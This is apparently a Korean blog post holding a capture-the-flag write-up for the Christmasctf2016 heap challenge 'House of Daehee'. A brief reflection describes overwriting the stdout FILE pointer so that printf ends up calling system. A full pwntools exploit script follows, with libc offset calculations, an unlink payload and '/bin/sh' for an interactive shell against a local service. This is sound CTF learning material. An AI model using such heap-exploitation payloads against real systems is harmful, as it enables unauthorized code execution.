cdor1's lab
Christmasctf2016 - House of Daehee 본문
후기 : full relro에 pie.. 초록초록한 보호기법이 보여서 어떻게 우회해야하지 고민하다가 대회 당시에는 풀지 못했당
후에 상위3팀의 공개된 write-up을 보고 다시 문제를 풀어보게 되었는데 stdout file pointer를 덮어
printf가 불릴 때 stdout의 function table을 참조하게 되는데 그 때 내가 써놓은 system이 실행되는 신박한 방법이였다.
(상준이형 문제나 유심히 볼걸 괜히 못푸는 문제 삽질하다가 멘탈깨진 기분이였다.. 처음엔 unlink라닛! 하면서 신났었는데)
from pwn import *
s = remote('localhost',4000)
elf = ELF('/home/cdor1/unlink2')
#1210
print s.recvuntil('Now, A B C is allocated inside heap')
a = s.recvuntil('\n').split(')')
a = a[0].split(',')
A = int(a[0].split('0x')[1],16)
B = int(a[1].split('0x')[1],16)
C = int(a[2].split('0x')[1],16)
print a
print '[*] A : ' + hex(A)
print '[*] B : ' + hex(B)
print '[*] C : ' + hex(C)
print s.recvuntil('system address: 0x')
system = int(s.recvuntil('\n').split('.')[0],16)
libc = system - 0x46590 # 0x45380
stdout = libc + 0x3c4708
lock = libc + 0x3c5780
print '[*] system : ' + hex(system)
print '[*] libc : ' + hex(libc)
print '[*] stdout : ' + hex(stdout)
print '[*] lock : ' + hex(lock)
print s.recvuntil('fd/bk pointer')
raw_input()
payload = 'A'*8
payload += p64(0x21)
payload += p64(A + 0x30) # fd
payload += p64(stdout)
payload += '/bin/sh\x00'
payload += '\x00'*128
payload += p64(lock)
payload += '\x00'*72
payload += p64(A + 0x108)
payload += p64(system)*100
s.sendline(payload)
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
HolyShield diary (1) | 2017.01.06 |
---|---|
BoBCTF - megabox (0) | 2017.01.05 |
SECCON CTF 2016 jmper (0) | 2016.12.28 |
SECCON CTF 2016 chat (0) | 2016.12.18 |
BCTF memo (0) | 2016.12.11 |
Comments